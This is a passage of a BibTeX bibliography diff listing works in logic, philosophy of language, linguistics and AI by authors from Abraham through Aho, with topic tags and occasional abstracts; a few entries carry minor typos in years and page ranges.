{corpus-linguistics;corpus-statistics;statistical-nlp;} + } + +@book{ abraham:1991a, + editor = {Werner Abraham}, + title = {Discourse Particles}, + publisher = {Benjamin}, + year = {1991}, + address = {Amsterdam}, + topic = {discourse-cue-words;pragmatics;} + } + +@unpublished{ abrams-frisch:1991a, + author = {Charlene Bloch Abrams and Alan M. Frisch}, + title = {An Examination of the Efficiency of Sorted Deduction}, + year = {1991}, + note = {Unpublished manuscript, Department of Computer Science, + University of Illinois}, + topic = {theorem-proving;taxonomic-reasoning;knowledge-retrieval;} + } + +@book{ abramsky-hankin:1987a, + editor = {Samson Abramsky and Chris Hankin}, + title = {Abstract Interpretation of Declarative Languages}, + publisher = {Ellis Horwood}, + year = {1987}, + address = {Chichester}, + ISBN = {0745801099}, + topic = {abstract-model-theory;} + } + +@book{ abramsky:1988a, + author = {Samson Abramsky}, + title = {Domain Theory in Logical Form}, + publisher = {University of London}, + year = {1988]}, + address = {London}, + ISBN = {0-7923-6350-7 hardcover.}, + topic = {higher-order-logic;} + } + +@book{ abramsky-vickers:1990a, + author = {Samson Abramsky and Steven Vickers}, + title = {Quantales, Observational Logic, and Process Semantics}, + publisher = {University of London, Imperial College of Science + and Technology, Dept. of Computing}, + year = {1990}, + address = {London}, + topic = {logic-programming;} + } + +@book{ abramsky-ong:1992a, + author = {Samson Abramsky and C.-H. Luke Ong}, + title = {Full Abstraction In The Lazy Lambda Calculus}, + publisher = {University of Cambridge, Computer Laboratory}, + year = {1992}, + address = {Cambridge, England}, + topic = {lambda-calculus;} + } + +@book{ abramsky-vickers:1992a, + editor = {Samson Abramsky and Steven Vickers}, + title = {Proceedings of {JELIA}: Logics in {AI}}, + publisher = {Springer-Verlag}, + year = {1992}, + address = {Berlin}, + topic = {logic-programming;logic-in-AI;} + } + +@book{ abramson-rogers_mh:1989a, + editor = {Harvey Abramson and M.H. Rogers}, + title = {Meta-Programming in Logic Programming: Proceedings of + {META}--88, Bristol, 1988}, + publisher = {The {MIT} Press}, + year = {1989}, + address = {Cambridge, Massachusetts}, + ISBN = {0262510472}, + topic = {metaprogramming;logic-programming;} + } + +@incollection{ abrusci-etal:1997a, + author = {V. Michele Abrusci and Christophe Fouquer\'e + and Jacqueline Vauzeilles}, + title = {Tree Adjoining Grammars in Non-Commutative Linear Logic}, + booktitle = {{LACL}'96: First International Conference on + Logical Aspects of Computational Linguistics}, + publisher = {Springer-Verlag}, + year = {1997}, + editor = {Christian Retor/'e}, + pages = {96--117}, + address = {Berlin}, + topic = {logic-and-computational-linguistics;linear-logic; + TAG-grammar;} + } + +@article{ abrusci-maringelli:1998a, + author = {V. Michele Abrusci and Elena Maringelli}, + title = {A New Correctness Criterion for Cyclic Proof + Nets}, + journal = {Journal of Logic, Language, and Information}, + year = {1998}, + volume = {7}, + number = {4}, + pages = {449--502}, + topic = {proof-nets;} + } + +@article{ abrusci-etal:1999a, + author = {V. Michele Abrusci and Christophe FOuquer\'e and + Jacqueline Vauzeilles}, + title = {Tree Adjoining Grammars in a Fragment of + the {L}ambek Calculus}, + journal = {Computational Linguistics}, + year = {1998}, + volume = {25}, + number = {2}, + pages = {209--2236}, + topic = {TAG-grammar;Lambek-calculus;} + } + +@article{ abrusci:2002a, + author = {V. Michele Abrusci}, + title = {Classical Conservative Extensions of {L}ambek Calculus}, + journal = {Studia Logica}, + year = {2002}, + volume = {71}, + number = {3}, + pages = {277--324}, + topic = {Lambek-calculus;linear-logic;} + } + +@phdthesis{ abusch:1985a, + author = {Dorit Abusch}, + title = {On Verbs and Time}, + school = {Linguistics Department, University of Massachusetts}, + year = {1985}, + type = {Ph.{D}. Dissertation}, + address = {Amherst, Massachusetts}, + topic = {causality;tense-aspect;lexical-semantics;} + } + +@techreport{ abusch:1986a, + author = {Dorit Abusch}, + title = {Verbs of Change, Causation, and Time}, + institution = {Center for the Study of Language and Information, + Stanford University}, + number = {CSLI--86--50}, + year = {1986}, + address = {Stanford, California}, + topic = {causality;tense-aspect;lexical-semantics;} + } + +@article{ abusch:1992a, + author = {Dorit Abusch}, + title = {The Scope of Indefinites}, + journal = {Natural Language Semantics}, + year = {1993--1994}, + volume = {2}, + number = {2}, + pages = {83--135}, + topic = {nl-quantifer-scope;indefiniteness;nl-semantics;} + } + +@article{ abusch:1994a, + author = {Dorit Abusch}, + title = {The Scope of Indefinites}, + journal = {Natural Language Semantics}, + year = {1994}, + volume = {2}, + number = {2}, + pages = {83--136}, + topic = {nl-quantifier-scope;} + } + +@article{ abusch:1997a, + author = {Dorit Abusch}, + title = {Sequence of Tense and Temporal {\em De Re}}, + journal = {Linguistics and Philosophy}, + year = {1997}, + volume = {20}, + number = {1}, + pages = {1--50}, + topic = {nl-tense;} + } + +@article{ abusch:1997b, + author = {Dorit Abusch}, + title = {Remarks on the State Formulation of {\it de re} Present Tense}, + journal = {Natural Language Semantics}, + year = {1997}, + volume = {5}, + number = {3}, + pages = {303--313}, + topic = {nl-tense;} + } + +@article{ achenstein:1964a, + author = {Peter Achenstein}, + title = {Models, Analogies, and Theories}, + journal = {Philosophy of Science}, + year = {1964}, + volume = {41}, + number = {4}, + pages = {328--350}, + topic = {philosophy-of-science;} + } + +@article{ achinstein:1964a, + author = {Peter Achinstein}, + title = {On the Meaning of Scientific Terms}, + journal = {The Journal of Philosophy}, + year = {1964}, + volume = {62}, + number = {20}, + pages = {497--509}, + topic = {foundations-of-semantics;philosophy-of-science;holism;} + } + +@article{ achinstein:1965a, + author = {Peter Achinstein}, + title = {\,`Defeasible' Problems}, + journal = {The Journal of Philosophy}, + year = {1965}, + volume = {62}, + number = {21}, + pages = {629--633}, + xref = {Commentary on: clark_r1:1965a.}, + topic = {ceteris-paribus-generalizations;natural-laws;causality; + nonmonotonic-reasoning;} + } + +@book{ achinstein-barker:1969a, + editor = {Peter Achinstein and Stephen F. Barker}, + title = {The Legacy of Logical Positivism: Studies in the + Philosophy of Science}, + publisher = {Johns Hopkins Press}, + year = {1969}, + address = {Baltimore}, + topic = {logical-positivism;analytic-philosophy;} + } + +@book{ achinstein:1971a, + author = {Peter Achinstein}, + title = {Law and Explanation: An Essay in the Philosophy of Science}, + publisher = {Oxford University Press}, + year = {1971}, + address = {Oxford}, + ISBN = {0198582080}, + topic = {philosophy-of-science;explanation;natural-laws;} + } + +@incollection{ achinstein:1979a, + author = {Peter Achinstein}, + title = {The Causal Relation}, + booktitle = {Midwest Studies in Philosophy Volume {V}: + Studies in Metaphysics}, + publisher = {University of Minnesota Press}, + year = {1979}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard K. + Wettstein}, + pages = {369--386}, + address = {Minneapolis}, + topic = {causality;focus;} + } + +@book{ achinstein:1982a, + author = {Peter Achinstein}, + title = {The Nature Of Explanation}, + publisher = {Oxford University Press}, + year = {1982}, + address = {New York}, + ISBN = {0195032152}, + topic = {explanation;} + } + +@book{ achinstein:1983a, + editor = {Peter Achinstein}, + title = {The Concept of Evidence}, + publisher = {Oxford University Press}, + year = {1983}, + address = {Oxford}, + ISBN = {0198750625 (pbk.)}, + contentnote = {TC: + 1. Carl A. Hempel, "Studies in the Logic of Confirmation" + 2. R.B. Braithwaite, " The Structure of a Scientific System" + 3. Norwood Russell Hanson, "The logic of Discovery " + 4. Nelson Goodman, "Prospects for a Theory of Projection" + 5. Rudolf Carnap, "The Concept of Confirming Evidence" + 6. Wesley C. Salmon, "Confirmation and Relevance", pp. + 7. Clark Glymour, "Relevant Evidence" + 8. Peter Achinstein, "Concepts of Evidence" + } , + topic = {evidence;philosophy-of-science;confirmation-theory;} + } + +@incollection{ achinstein:1984a, + author = {Peter Achinstein}, + title = {A Type of Non-Causal Explanation}, + booktitle = {Causation and Causal Theories}, + publisher = {University of Minnesota Press}, + year = {1984}, + editor = {Peter A. French and Theodore E. Uehling, Jr. and Howard + K. Wettstein}, + pages = {221--243}, + address = {Minneapolis}, + topic = {philosophy-of-science;explanation;} + } + +@book{ achinstein-snyder:1994a, + editor = {Peter Achinstein and Laura J. Snyder}, + title = {Scientific Methods: Conceptual and Historical Problems}, + publisher = {Krieger Pub. Co.}, + year = {1994}, + address = {Malabar, Florida}, + ISBN = {0894648225}, + topic = {philosophy-of-science;scientific-reasoning;} + } + +@incollection{ achinstein:2000a, + author = {Peter Achinstein}, + title = {Why Philosophical Theories of Evidence Are (and + Ought to Be) Ignored by Scientists}, + booktitle = {{PSA}'1998: Proceedings of the 1998 Biennial Meetings + of the Philosophy of Science Association, Part {II}: + Symposium Papers}, + publisher = {Philosophy of Science Association}, + year = {2000}, + editor = {Don A. Howard}, + pages = {S180--S192}, + address = {Newark, Delaware}, + topic = {philosophy-of-science;evidence;} + } + +@incollection{ acid-etal:1991a, + author = {S. Acid and L.M. de Campos and A. Gonz\'alez and R. Molina + and N. P\'erez de la Blanca}, + title = {Learning with {CASTLE}}, + booktitle = {Symbolic and Quantitative Approaches for Uncertainty: + Proceedings of the {E}uropean Conference {ECSQAU}, Marseille, + France, October 1991}, + publisher = {Springer-Verlag}, + year = {1991}, + editor = {Rudolf Kruse and Pierre Siegel}, + pages = {99--106}, + address = {Berlin}, + topic = {machine-learning;causality;} + } + +@article{ ackerman_f1-moore:1999a, + author = {Farrell Ackerman and John Moore}, + title = {Syntagmatic and Paradigmatic Dimensions of Causee + Encodings}, + journal = {Linguistics and Philosophy}, + year = {1999}, + volume = {22}, + number = {1}, + pages = {1--44}, + topic = {causatives;thematic-roles;} + } + +@incollection{ ackerman_f2:1994a, + author = {Felicia Ackerman}, + title = {Roots and Consequences of Vagueness}, + booktitle = {Philosophical Perspectives, Volume 8: + Logic and Language}, + publisher = {Blackwell Publishers}, + year = {1994}, + editor = {James E. Tomberlin}, + pages = {129--136}, + address = {Oxford}, + note = {Also available at http://www.jstor.org/journals/.}, + topic = {vagueness;} + } + +@article{ ackrill:1964a, + author = {J.L. Ackrill}, + title = {Comments}, + journal = {The Journal of Philosophy}, + year = {1964}, + volume = {62}, + number = {20}, + pages = {610--613}, + xref = {Comments on; demos:1964a}, + topic = {Plato;philosophy-of-language;} + } + +@article{ acock-jackson:1976a, + author = {M. Acock and H.G. Jackson}, + title = {Seems}, + journal = {Revue Internationale de Philosophie}, + year = {1976}, + volume = {30}, + pages = {304--330}, + missinginfo = {A's 1st name, number}, + topic = {intensional-logic;logic-of-perception;} + } + +@incollection{ aczel:1977a, + author = {Peter Aczel}, + title = {An Introduction to Inductive Definitions}, + booktitle = {Handbook of Mathematical Logic}, + publisher = {North-Holland}, + year = {1977}, + editor = {K. Jon Barwise}, + pages = {739--782}, + address = {Amsterdam}, + topic = {inductive-definitions;} + } + +@incollection{ aczel:1980a, + author = {Peter Aczel}, + title = {Frege Structures and the Notion of Proposition, Truth + and Set}, + booktitle = {The {K}leene Symposium}, + publisher = {North-Holland Publishing Company}, + year = {1980}, + editor = {K. Jon Barwise and H.J. Keisler and K. Kunen}, + pages = {31--59}, + address = {Amsterdam}, + missinginfo = {E's 1st name.}, + topic = {Frege-structures;propositions;truth;foudnations-of-set-theory;} + } + +@book{ aczel:1983a, + author = {Peter Aczel}, + title = {Non-Well-Founded Sets}, + publisher = {Center for the Study of Language and Information}, + year = {1983}, + address = {Stanford, California}, + topic = {set-theory;nonwellfounded-sets;} + } + +@article{ adali-subrahmanian_vs:1996a, + author = {Sibel Adali and V.S. Subrahmanian}, + title = {Amalgamating Knowledge Bases {III}: Algorithms, Data + Structures, and Query Processing}, + journal = {Journal of Logic Programming}, + year = {1996}, + volume = {28}, + number = {1}, + pages = {45--88}, + missinginfo = {A's 1st name}, + topic = {knowledge-integration;} + } + +@article{ adam-laurent:1980a, + author = {Anne Adam and Jean-Pierre Laurent}, + title = {{LAURA}, A System to Debug Student Programs}, + journal = {Artificial Intelligence}, + year = {1980}, + volume = {15}, + number = {1--2}, + pages = {75--122}, + acontentnote = {Abstract: + An effort to automate the debugging of real programs is + presented. We discuss possible choices in conceiving a debugging + system. In order to detect all the semantic errors, it must have + a knowledge of what the program is intended to achieve. + Strategies and results are very dependent on the way of giving + this knowledge. In the LAURA system that we have designed, the + program's task is given by means of a `program model'. + Automatic debugging is then viewed as a comparison of programs. + The main characteristics of LAURA are the representation of + programs by graphs, which gets rid of many syntactical + variations, the use of program transformations, realized on the + graphs, and its heuristic strategy to identify step by step the + elements of the graphs. It has been tested with about a hundred + programs writen by students to solve eight different problems in + various fields. It is able to recognize correct programs even if + their structures are very different from the structure of the + program model. It is also able to express exact diagnostics of + errors, or at least to localize them. It could be an effective + tool for students programmers. + } , + topic = {program-transformations;automatic-debugging; + software-engineering;graph-based-reasoning;diagnosis;} + } + +@book{ adami:1998a, + author = {Christoph Adami}, + title = {Introduction to Artificial Life}, + publisher = {Springer-Verlag}, + year = {1998}, + address = {Berlin}, + ISBN = {0-387-94646-2}, + xref = {Review: taylor_t:2001a.}, + topic = {artificial-life;} + } + +@article{ adamowicz-bigorajska:2001a, + author = {Zofia Adamowicz and Teresa Bigorajska}, + title = {Existentially Closed Structures and {G}\"odel's + Second Incompleteness Theorem}, + journal = {Journal of Symbolic Logic}, + year = {2001}, + volume = {66}, + number = {1}, + pages = {349--356}, + topic = {model-theory;goedels-second-theorem;} + } + +@article{ adams_ew:1965a, + author = {Ernest Adams}, + title = {The Logic of Conditionals}, + journal = {Inquiry}, + year = {1965}, + volume = {8}, + pages = {166--197}, + topic = {conditionals;} + } + +@article{ adams_ew:1974a, + author = {Ernest Adams}, + title = {The Logic of `Almost All'\, } , + journal = {Journal of Philosophical Logic}, + year = {1974}, + volume = {3}, + number = {1--2}, + pages = {3--17}, + topic = {generalized-quantifiers;exception-constructions;} + } + +@book{ adams_ew:1975a, + author = {Ernest W. Adams}, + title = {The Logic of Conditionals}, + publisher = {D. Reidel Publishing Co.}, + year = {1975}, + address = {Dordrecht}, + topic = {conditionals;probability-semantics;} + } + +@article{ adams_ew-levine_hp:1975b, + author = {Ernest Adams and Howard P. Levine}, + title = {On the Uncertainties Transmitted from Premisses + to Conclusions in Deductive Inferences}, + journal = {Synth\'ese}, + year = {1975}, + volume = {30}, + pages = {429--460}, + topic = {probability-semantics;} + } + +@article{ adams_ew:1978a, + author = {Ernest W. Adams}, + title = {A Note on Comparing Probabilistic and Modal Semantics for + Conditionals}, + journal = {Theoria}, + year = {1978}, + volume = {43}, + pages = {186--194}, + missinginfo = {number}, + topic = {conditionals;probability-semantics;} + } + +@article{ adams_ew-carlstrom:1979a, + author = {Ernest W. Adams and Ian F. Carlstrom}, + title = {Representing Approximate Ordering and Equivalence + Relations}, + journal = {Journal of Mathematical Psychology}, + year = {1979}, + volume = {1979}, + number = {2}, + pages = {182--207}, + topic = {approximate-truth;} + } + +@article{ adams_ew:1981a, + author = {Ernest W. Adams}, + title = {Transmissible Improbabilities and Marginal Essentialness + of Premises in Inferences Involving Indicative Condtionals}, + journal = {Journal of Philosophical Logic}, + year = {1981}, + volume = {10}, + number = {2}, + pages = {149--177}, + topic = {conditionals;probability-semantics;} + } + +@article{ adams_ew:1981b, + author = {Ernest W. Adams}, + title = {Truth, Proof, and Conditionals}, + journal = {Pacific Philosophical Quarterly}, + year = {1981}, + volume = {62}, + pages = {323--339}, + missinginfo = {number}, + topic = {conditionals;causality;} + } + +@unpublished{ adams_ew:1983a, + author = {Ernest W. Adams}, + title = {Continuity and Idealizability}, + year = {1983}, + note = {Unpublished manuscript, Philosophy Department, University + of California at Berkeley}, + missinginfo = {Year is a guess.}, + topic = {fractional-quantifiers;} + } + +@article{ adams_ew:1983b, + author = {Ernest W. Adams}, + title = {Probabilistic Enthymemes}, + journal = {Journal of Pragmatics}, + year = {1983}, + volume = {7}, + pages = {283--295}, + missinginfo = {number}, + topic = {probability-semantics;} + } + +@incollection{ adams_ew:1986a, + author = {Ernest W. Adams}, + title = {Remarks on the Semantics and Pragmatics of Conditionals}, + booktitle = {On Conditionals}, + publisher = {Cambridge University Press}, + year = {1986}, + editor = {Elizabeth Traugott and Alice {ter Meulen} and Judy Reilly}, + pages = {169--179}, + address = {Cambridge, England}, + topic = {conditionals;} + } + +@article{ adams_ew:1987a, + author = {Ernest Adams}, + title = {On the Meaning of the Conditional}, + journal = {Philosophical Topics}, + year = {1987}, + volume = {15}, + number = {1}, + pages = {5--45}, + topic = {conditionals;indicative-conditionals;pragmatics;} + } + +@incollection{ adams_ew:1988a, + author = {Ernest W. Adams}, + title = {Consistency and Decision: Variations on {R}amseyan Themes}, + booktitle = {Causation in Decision, Belief Change, and Statistics, + Vol. 2}, + publisher = {Kluwer Academic Publishers}, + year = {1988}, + editor = {William L. Harper and Brian Skyrms}, + pages = {49--69}, + address = {Dordrecht}, + topic = {foundations-of-decision-theory;} + } + +@article{ adams_ew:1989a, + author = {Ernest W. Adams}, + title = {On the Logic of High Probability}, + journal = {Journal of Philosophical Logic}, + year = {1989}, + volume = {15}, + number = {3}, + pages = {255--279}, + topic = {probability-semantics;} + } + +@article{ adams_ew:1995a, + author = {Ernest W. Adams}, + title = {Remarks on a Theorem of {M}c{G}ee}, + journal = {Journal of Philosophical Logic}, + year = {1995}, + volume = {24}, + number = {4}, + pages = {343--348}, + topic = {conditionals;finite-matrix-property;} + } + +@article{ adams_ew:1996a, + author = {Ernest W. Adams}, + title = {Four Probability Preserving Properties of Inferences}, + journal = {Journal of Philosophical Logic}, + year = {1996}, + volume = {25}, + number = {1}, + pages = {1--24}, + topic = {conditionals;probabilities;} + } + +@book{ adams_ew:1997a, + author = {Ernest W. Adams}, + title = {A Primer of Probability Logic}, + publisher = {Cambridge University Press}, + year = {1997}, + address = {Cambridge, England}, + topic = {probability-semantics;conditionals;} + } + +@article{ adams_ew:1998a, + author = {Ernest W. Adams}, + title = {Review of {\it The Geneology of Disjunction}, by + {R}.{E}. {J}ennings}, + journal = {The Philosophical Review}, + year = {1998}, + volume = {105}, + number = {1}, + pages = {87--88}, + xref = {Review of jennings_re1:1994a.}, + topic = {disjunction;disjunction-in-nl;} + } + +@article{ adams_f:1986a, + author = {Frederik Adams}, + title = {Intention and Intentional Action: The Simple View}, + journal = {Mind and Language}, + year = {1986}, + volume = {1}, + number = {4}, + pages = {281--301}, + topic = {intention;action;} + } + +@incollection{ adams_g-resnik_p:1997a, + author = {Gary Adams and Philip Resnik}, + title = {A Language Identification Application Built on the {J}ava + Client-Server Platform}, + booktitle = {From Research to Commercial Applications: Making + {NLP} Work in Practice}, + publisher = {Association for Computational Linguistics}, + year = {1997}, + editor = {Jill Burstein and Claudia Leacock}, + pages = {43--47}, + address = {Somerset, New Jersey}, + topic = {language-identification;} + } + +@article{ adams_ja:2001a, + author = {Julie A. Adams}, + title = {Review of {\it Multiagent Systems: A Modern Approach to + Distributed Artificial Intelligence}, by {M}ichael {J}. + {W}ooldridge}, + journal = {The {AI} Magazine}, + year = {2000}, + volume = {22}, + number = {2}, + pages = {105--108}, + xref = {Review of: wooldridge:1999a.}, + topic = {distributed-AI;distributed-systems;} + } + +@article{ adams_rw:1981a, + author = {Robert W. Adams}, + title = {Actualism and Thisness}, + journal = {Synth\'ese}, + year = {1981}, + volume = {49}, + number = {1}, + pages = {3--41}, + topic = {actuality;} + } + +@incollection{ adams_wa:2001a, + author = {William A. Adams}, + title = {The Motivational Context}, + booktitle = {Modeling and Using Context}, + publisher = {Springer-Verlag}, + year = {2001}, + editor = {Varol Akman and Paolo Bouquet and Richmond Thomason + and Roger A. Young}, + pages = {409--412}, + address = {Berlin}, + topic = {context;contextual-reasoning;} + } + +@article{ addanki-etal:1991a, + author = {Sanjaya Addanki and Roberto Cremonini and J. Scott + Penberthy}, + title = {Graphs of Models}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {51}, + number = {1--3}, + pages = {145--177}, + acontentnote = {Abstract: + Solving analysis problems in physical worlds requires the + representation of large amounts of knowledge. Recently, there + has been much interest in using multiple models, in the + engineering sense of the word, to capture the complex and + diverse knowledge required during analysis. In this paper we + represent physical domains as graphs of models, where the nodes + of the graph are models and the edges are the assumptions that + have to be changed in going from one model to the other. We + introduce new, qualitative methods that automatically select and + switch models during analysis. Our approach has been + successfully used for three implementations in the fields of + mechanics, thermodynamics, and fluid dynamics. + } , + topic = {model-based-reasoning;kr;qualitative-physics;thermodynamics;} + } + +@incollection{ addis:1984a, + author = {Laird Addis}, + title = {Parallelism, Interaction, and Causation}, + booktitle = {Causation and Causal Theories}, + publisher = {University of Minnesota Press}, + year = {1984}, + editor = {Peter A. French and Theodore E. Uehling, Jr. and Howard + K. Wettstein}, + pages = {329--344}, + address = {Minneapolis}, + topic = {causality;philosophy-of-mind;} + } + +@book{ adelman-riedel:1997a, + author = {Leonard Adelman and Sharon Riedel}, + title = {Handbook for Evaluating Knowledge-Based Systems}, + publisher = {Kluwer Academic Publishers}, + year = {1997}, + address = {Dordrecht}, + topic = {AI-system-evaluation;knowledge-base-verification; + knowledge-engineering;} + } + +@article{ adelsonvelskiy-etal:1975a, + author = {G.M. Adelson-Velskiy and V.L. Arlazarov and M.V. Donskoy}, + title = {Some Methods of Controlling the Tree Search in Chess + Programs}, + journal = {Artificial Intelligence}, + year = {1975}, + volume = {6}, + number = {4}, + pages = {361--371}, + topic = {computer-chess;search;} + } + +@article{ ades-steedman:1982a, + author = {Anthony F. Ades and Mark J. Steedman}, + title = {On the Order of Words}, + journal = {Linguistics and Philosophy}, + year = {1982}, + volume = {4}, + number = {4}, + pages = {517--558}, + topic = {categorial-grammar;word-order;nl-syntax;} + } + +@incollection{ adiba-lopez:1987a, + author = {Michel Adiba and Mauricio Lopez}, + title = {Data Bases and Office Automation}, + booktitle = {Databases}, + publisher = {Academic Press}, + year = {1987}, + editor = {J. Paradaens}, + pages = {1--44}, + address = {New York}, + topic = {databases;} + } + +@article{ adler:1987a, + author = {Jonathan E. Adler}, + title = {Comparisons with {G}rice}, + journal = {Behavioral and Brain Sciences}, + year = {1987}, + volume = {10}, + pages = {710--711}, + topic = {implicature;pragmatics;} + } + +@article{ adler:1997a, + author = {Jonathan E. Adler}, + title = {Lying, Deceiving, or Falsely Implicating}, + journal = {The Journal of Philosophy}, + year = {1997}, + volume = {94}, + number = {9}, + pages = {435--452}, + topic = {deception;implicature;pragmatics;} + } + +@article{ adorno:1990a, + author = {Theodor W. Adorno}, + title = {Punctuation Marks}, + journal = {Antioch Review}, + year = {1990}, + volume = {48}, + number = {3}, + pages = {300--305}, + topic = {punctuation;} +} + +@book{ adriaans-zantinge:1996a, + author = {Pieter Adriaans and Dolf Zantinge}, + title = {Data Mining}, + publisher = {Addison-Wesley}, + year = {1996}, + address = {Reading, Massachusetts}, + xref = {Review: flach:2001a.}, + topic = {data-mining;machine-learning;} + } + +@incollection{ adriaans-haas:2000a, + author = {Pieter Adriaans and Erik de Haas}, + title = {Learning from a Substructural Perspective}, + booktitle = {Proceedings of the Fourth Conference on Computational + Natural Language Learning and of the Second Learning Language + in Logic Workshop, {L}isbon, 2000}, + publisher = {Association for Computational Linguistics}, + year = {2000}, + editor = {Claire Cardie and Walter Daelemans and Claire N\'edellec + and Erik Tjong Kim Sang}, + pages = {176--183}, + address = {Somerset, New Jersey}, + topic = {machine-language-learning;substructural-logics;} + } + +@book{ adriaens-hahn:1994a, + editor = {Geert Adriaens and Udo Hahn}, + title = {Parallel Natural Language Processing}, + publisher = {Ablex Publishing}, + year = {1994}, + address = {Norwood, New Jersey}, + ISBN = {0893918695}, + topic = {nl-processing;parallel-processing;} + } + +@article{ afrati-etal:1988a, + author = {F. Afrati and C.H. Papadimitriou and G. Papageorgiou}, + title = {The Synthesis of Communication Protocols}, + journal = {Algorithmica}, + year = {1988}, + volume = {3}, + number = {3}, + pages = {451--472}, + missinginfo = {A's 1st name}, + topic = {communication-protocols;} + } + +@incollection{ agarwal:1997a, + author = {Rajeev Agarwal}, + title = {Towards a {PURE} System for Information Access}, + booktitle = {Interactive Spoken Dialog Systems: Bridging + Speech and {NLP} Together in Real Applications}, + publisher = {Association for Computational Linguistics}, + year = {1997}, + editor = {Julia Hirschberg and Candace Kamm and Marilyn Walker}, + pages = {90--97}, + address = {New Brunswick, New Jersey}, + topic = {computational-dialogue;information-retrieval;} + } + +@incollection{ agassi:1976a, + author = {Joseph Agassi}, + title = {Can Adults Become Genuinely Bilingual?}, + booktitle = {Language in Focus}, + publisher = {D. Reidel Publishing Co.}, + year = {1976}, + editor = {Asa Kasher}, + pages = {473--484}, + address = {Dordrecht}, + topic = {L2-language-learning;} + } + +@article{ aghael-ardeshir:2001a, + author = {Mojtaba Aghael and Mohammed Ardeshir}, + title = {Gentzen-Style Axiomatizations of Some Conservative + Extensions of Basic Propositional Logic}, + journal = {Studia Logica}, + year = {2001}, + volume = {68}, + number = {1}, + pages = {263--285}, + topic = {proof-theory;modal-logic;} + } + +@inproceedings{ agirre:1996a, + author = {Eneko Agirre and German Rigau}, + title = {A Proposal for Word Sense Disambiguation + Using Conceptual Distance}, + booktitle = {Proceedings of the 1st International + Conference on Recent Advances in Natural Language Processing}, + year = {1996}, + missinginfo = {publisher, editor, pages}, + url = {http://xxx.lanl.gov/abs/cmp-lg/9510003}, + topic = {wordnet;lexical-disambiguation;distance-metrics;;} + } + +@inproceedings{ agirre-rigau:1996a, + author = {Eneko Agirre and German Rigau}, + title = {Word Sense Disambiguation Using Conceptual Density}, + booktitle = {Proceedings of the 16th International Conference + on Computational Linguistics}, + year = {1996}, + missinginfo = {publisher, editor, pages}, + url = {http://xxx.lanl.gov/abs/cmp-lg/9606007}, + topic = {lexical-disambiguation;wordnet;} + } + +@inproceedings{ agirre-etal:1998a, + author = {Eneko Agirre and Koldo Gojenola and Kepa Sarasola + and Atro Voutilainen}, + title = {Towards a Single Proposal in Spelling Correction}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {22--28}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {spelling-correction;} + } + +@unpublished{ agrawal-etal:2000a, + author = {Marindra Agrawal and Neeraj Kayal and Nitin Saxena}, + title = {{\sc primes} Is in {P}}, + year = {2000}, + note = {Unpublished manuscript, Indian Institute of Technology Kampur}, + topic = {algorithmic-complexity;number-theory;} + } + +@inproceedings{ agre-chapman:1987a, + author = {Philip E. Agre and David Chapman}, + title = {{PENGI}: An Implementation of a Theory of Activity}, + booktitle = {Proceedings of the Sixth National Conference on + Artificial Intelligence}, + year = {1987}, + editor = {Kenneth Forbus and Howard Shrobe}, + pages = {268--272}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, CA}, + topic = {planning;action;} + } + +@article{ agre:1993a, + author = {Philip E. Agre}, + title = {Interview with {A}llen {N}ewell}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {59}, + number = {1--2}, + pages = {415--449}, + topic = {SOAR;cognitive-architectures;history-of-AI;} + } + +@article{ agre:1995a, + author = {Philip E. Agre}, + title = {Computational Research on Interaction and Agency}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {72}, + number = {1--2}, + pages = {1--52}, + acontentnote = {Abstract: + Recent research in artificial intelligence has developed + computational theories of agents' involvements in their + environments. Although inspired by a great diversity of + formalisms and architectures, these research projects are + unified by a common concern: using principled characterizations + of agents' interactions with their environments to guide + analysis of living agents and design of artificial ones. This + article offers a conceptual framework for such theories, surveys + several other fields of research that hold the potential for + dialogue with these new computational projects, and summarizes + the principal contributions of the articles in this special + double volume. It also briefly describes a case study in these + ideas--a computer program called Toast that acts as a short-order + breakfast cook. Because its designers have discovered useful + structures in the world it inhabits, Toast can employ an + extremely simple mechanism to decide what to do next. + } , + topic = {agent-architectures;agent-environment-interaction;} + } + +@book{ agre-rosenschein_sj:1996a, + editor = {Philip E. Agre and Stanley J. Rosenschein}, + title = {Computational Theories of Interaction and Agency}, + publisher = {The {MIT} Press}, + year = {1996}, + address = {Cambridge, Massachusetts}, + topic = {agency;communication-protocols;distributed-systems;} + } + +@article{ aguzzoli-ciabattoni:2000a, + author = {Stefano Aguzzoli and Agata Ciabattoni}, + title = {Finiteness in Infinite-Valued {\L}ukasiewicz Logic}, + journal = {Journal of Logic, Language, and Information}, + year = {2000}, + volume = {9}, + number = {1}, + pages = {5--29}, + topic = {reasoning-about-uncertainty;many-valued-logic;} + } + +@incollection{ ahn:1994a, + author = {Reni M.C. Ahn}, + title = {Communication Contexts: A Pragmatic Approach to Information + Exchange}, + booktitle = {Types for Proofs and Programs: International Workshop + {TYPES}'94, {B}estad, {S}weden, June 6--10}, + publisher = {Springer-Verlag}, + year = {1994}, + editor = {Peter Dybjer and Bengt Nordstr\"om and Jan Smith}, + pages = {1--13}, + address = {Berlin}, + topic = {context;communication;} + } + +@article{ ahn-etal:1994a, + author = {R. Ahn and R.J. Beun and T. Borghuis and Harry C. Bunt and + C. van Overveld}, + title = {The {DenK} Architecture: A Fundamental Approach to User + Interfaces}, + journal = {Artificial Intelligence Review}, + year = {1994}, + volume = {8}, + pages = {431--445}, + missinginfo = {A's 1st names, number}, + topic = {computational-dialogue;HCI;} + } + +@inproceedings{ aho_av-etal:1979a, + author = {A.V. Aho and J.D. Ullman and A.D. Wyner and M. + Yannakakis}, + title = {Modeling Communication Protocols by Automata}, + booktitle = {Proceedings of the Twentieth {IEEE} Symposium on + Foundations of Computer Science}, + year = {1979}, + pages = {267--273}, + organization = {IEEE}, + missinginfo = {A's 1st names.}, + topic = {communication-protocols;} + } + +@article{ aho_av-etal:1982a, + author = {A.V. Aho and J.D. Ullman and A.D. Wyner and M. Yannakakis}, + title = {Bounds on the Size and Transmission Rate of Communication + Protocols}, + journal = {Computers and Mathematics with 